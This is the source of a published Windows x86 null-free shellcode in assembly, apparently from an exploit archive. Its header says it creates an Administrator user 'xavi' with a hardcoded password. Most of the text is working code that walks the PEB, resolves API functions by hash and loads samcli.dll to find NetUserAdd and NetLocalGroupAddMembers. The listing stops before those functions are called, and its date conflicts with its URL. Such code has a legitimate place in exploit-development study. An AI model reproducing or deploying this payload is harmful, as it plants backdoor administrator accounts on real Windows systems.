; Title: Name: Windows/x86 - Create Administrator User / Dynamic PEB & EDT method null-free Shellcode (373 bytes)
; Author: Xavi Beltran
; Contact: xavibeltran@protonmail.com
; Website: https://xavibel.com/2023/01/18/shellcode-windows-x86-create-administrator-user-dynamic-peb-edt/
; Date: 18/01/2022
; Tested on: Microsoft Windows Version 10.0.19045
; Description:
; This is a shellcode that creates a new user named "xavi" with password "Summer12345!". Then adds this user to administrators group.
; In order to accomplish this task the shellcode uses the PEB method to locate the baseAddress of the modules and then Export Directory Table to locate the symbols.
; The shellcodes perform 3 different calls:
; - NetUserAdd
; - NetLocalGroupAddMembers
; - ExitProcess
find_kernel32:
xor ecx, ecx ; ECX = 0
mov esi,fs:[ecx+30h] ; ESI = &(PEB) ([FS:0x30])
mov esi,[esi+0Ch] ; ESI = PEB->Ldr
mov esi,[esi+1Ch] ; ESI = PEB->Ldr.InInitOrder
next_module:
mov ebx, [esi+8h] ; EBX = InInitOrder[X].base_address
mov edi, [esi+20h] ; EDI = InInitOrder[X].module_name
mov esi, [esi] ; ESI = InInitOrder[X].flink (next)
cmp [edi+12*2], cx ; (unicode) modulename[12] == 0x00?
jne next_module ; No: try next module.
find_function_shorten:
jmp find_function_shorten_bnc ; Short jump
find_function_ret:
pop esi ; POP the return address from the stack
mov [ebp+0x04], esi ; Save find_function address for later usage
jmp resolve_symbols_kernel32 ;
find_function_shorten_bnc: ;
call find_function_ret ; Relative CALL with negative offset
find_function:
pushad ; Save all registers
mov eax, [ebx+0x3c] ; Offset to PE Signature
mov edi, [ebx+eax+0x78] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp-4], eax ; Save AddressOfNames VMA for later use
find_function_loop:
jecxz find_function_finished ; Jump to the end if ECX is 0
dec ecx ; Decrement our names counter
mov eax, [ebp-4] ; Restore AddressOfNames VMA
mov esi, [eax+ecx*4] ; Get the RVA of the symbol name
add esi, ebx ; Set ESI to the VMA of the current symbol name
compute_hash_again:
lodsb ; Load the next byte from esi into al
test al, al ; Check for NULL terminator
jz compute_hash_finished ; If the ZF is set, we've hit the NULL term
ror edx, 0x0d ; Rotate edx 13 bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ; Next iteration
compute_hash_finished:
find_function_compare:
cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx+2*ecx] ; Extrapolate the function's ordinal
mov edx, [edi+0x1c] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx+4*ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp+0x1c], eax ; Overwrite stack version of eax from pushad
find_function_finished:
popad ; Restore registers
ret ;
; Resolve kernel32 symbols
resolve_symbols_kernel32:
push 0x78b5b983 ; Kernel 32 - TerminateProcess hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x10], eax ; Save TerminateProcess address for later usage
push 0xec0e4e8e ; Kernel 32 - LoadLibraryA hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x14], eax ; Save LoadLibraryA address for later usage
; LoadLibraryA - samcli.dll
load_samcli:
xor eax, eax ;
push eax ;
mov ax, 0x6c6c ; # ll
push eax ;
push 0x642e696c ; d.il
push 0x636d6173 ; cmas
push esp ; Push ESP to have a pointer to the string
call dword [ebp+0x14] ; Call LoadLibraryA
; Resolve samcli.dll symbols
resolve_symbols_samcli:
; Samcli - NetUserAdd
mov ebx, eax ; Move the base address of samcli.dll to EBX
push 0xcd7cdf5e ; NetUserAdd hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x1C], eax ; Save NetUserAdd address for later usage
; Samcli - NetLocalGroupAddMembers
push 0xc30c3dd7 ; NetLocalGroupAddMembers hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x20], eax ; Save NetLocalGroupAddMembers address for later usage